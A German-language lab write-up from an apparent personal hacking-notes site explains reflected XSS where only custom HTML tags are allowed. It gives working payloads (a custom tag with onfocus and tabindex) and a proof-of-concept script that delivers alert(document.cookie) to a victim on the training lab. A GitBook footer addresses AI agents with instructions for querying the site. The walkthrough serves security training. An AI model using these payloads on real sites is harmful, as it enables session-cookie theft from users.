> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-with-custom-tags-only.md).

# Reflektiertes XSS mit nur benutzerdefinierten Tags

### Reflektiertes XSS in HTML-Kontext mit allen blockierten Tags außer benutzerdefinierten

Diese Anwendung blockiert alle „klassischen“ HTML-Tags; nur benutzerdefinierte Elemente sind erlaubt. Das Ziel des Labs ist es, ein benutzerdefiniertes Tag einzuschleusen, das automatisch ausgeführt wird `alert(document.cookie)` (hier möchten Sie das Session-Cookie über den Alert stehlen).

Beobachtungen und Vorgehensweise (neu formuliert)

* Da alle Standard-Tags gefiltert werden, besteht die Technik darin, ein benutzerdefiniertes Tag zu definieren/einzufügen, das der Browser akzeptiert.
* Ein benutzerdefiniertes Tag kann Event-Handler enthalten — aber einige Ereignisse treten nur auf, wenn das Element den Fokus erhalten kann.
* Benutzerdefinierte Elemente sind standardmäßig nicht fokussierbar; daher ist es notwendig, den Fokus zu erzwingen, indem man `tabindex=1` hinzufügt, damit das zugehörige Ereignis bei der Interaktion ausgeführt wird (z. B. durch Klicken oder Tabben).

<figure><img src="/files/62cd3669f14f2bd7dd08849d3c2d3066dc52d011" alt=""><figcaption></figcaption></figure>

1. Einfaches Tag — nicht fokussierbar (führt den Alert nicht aus):

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. Dasselbe Tag, fokussierbar gemacht mit `tabindex` — `onfocus` funktioniert:

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="/files/7b76518a854d8c2098dca08637e1d66a7a84a05c" alt=""><figcaption></figcaption></figure>

Abschließender Proof of Concept (Exfiltration per Weiterleitung)

* Wir bauen eine URL, die das benutzerdefinierte Tag mit einem `onfocus` Aufruf `alert(document.cookie)` einfügt und den Fokus erzwingt durch `tabindex=1`.
* Beispiel-Payload, die an das Opfer gesendet werden soll (Einfügung URL-kodiert in der `Suche` Parameter):

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-with-custom-tags-only.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
